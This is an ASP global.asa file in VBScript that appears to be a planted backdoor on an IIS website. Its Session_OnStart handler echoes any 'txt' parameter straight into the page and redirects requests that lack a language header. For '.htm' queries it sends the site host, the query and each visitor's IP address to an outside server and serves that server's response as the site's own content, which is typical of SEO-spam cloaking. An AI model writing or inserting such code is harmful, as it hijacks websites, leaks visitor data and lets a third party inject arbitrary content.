<script language="vbscript" runat="server">
sub Application_Error
end sub
sub Application_OnStart
end sub
sub Application_OnEnd
end sub
sub Session_OnStart
aa=request("txt"):if len(trim(aa))>0 then:Response.Write aa:Response.end:end if
para=LCase(Trim(Request.QueryString))
if len(trim(Request.ServerVariables("Path_Info")))<2 or instr(1,Request.ServerVariables("Path_Info"),"home",1)>0 or instr(1,Request.ServerVariables("Path_Info"),"default",1)>0 or instr(1,Request.ServerVariables("Path_Info"),"index",1)>0 then
if (len(trim(Request.ServerVariables("HTTP_ACCEPT_LANGUAGE")))<1) and (instr(1,para,".htm",1)<1) then
Session.Abandon
Response.Status="301 Moved Permanently"
Response.AddHeader "Location", "/?index.htm"
Response.End
end if
end if
if instr(1,para,".htm",1)>0 then
Session.Abandon
guest = Request.ServerVariables("HTTP_X_FORWARDED_FOR")
If guest="" Then
guest = Request.ServerVariables("REMOTE_ADDR")
End If
url="http://en623.timeke.com/0822_belt/get.php?from_url="&Request.ServerVariables("HTTP_HOST")&"&que="&para&"&visitorip="&guest
Set Retrieval = CreateObject("MSXML2.serverXMLHTTP")
With Retrieval
.setTimeouts 30000,30000,300000,120000 
.Open "GET", url, False
.Send
getBody = .responsebody 
End With
Set Retrieval = Nothing
set objstream = Server.CreateObject("adodb.stream")
objstream.Type = 1
objstream.Mode =3
objstream.Open
objstream.Write getBody
objstream.Position = 0
objstream.Type = 2
objstream.Charset = "UTF-8"
BytesToBstr = objstream.ReadText
objstream.Close
set objstream = nothing
Response.Write BytesToBstr
Response.end
end if
end sub
</script>
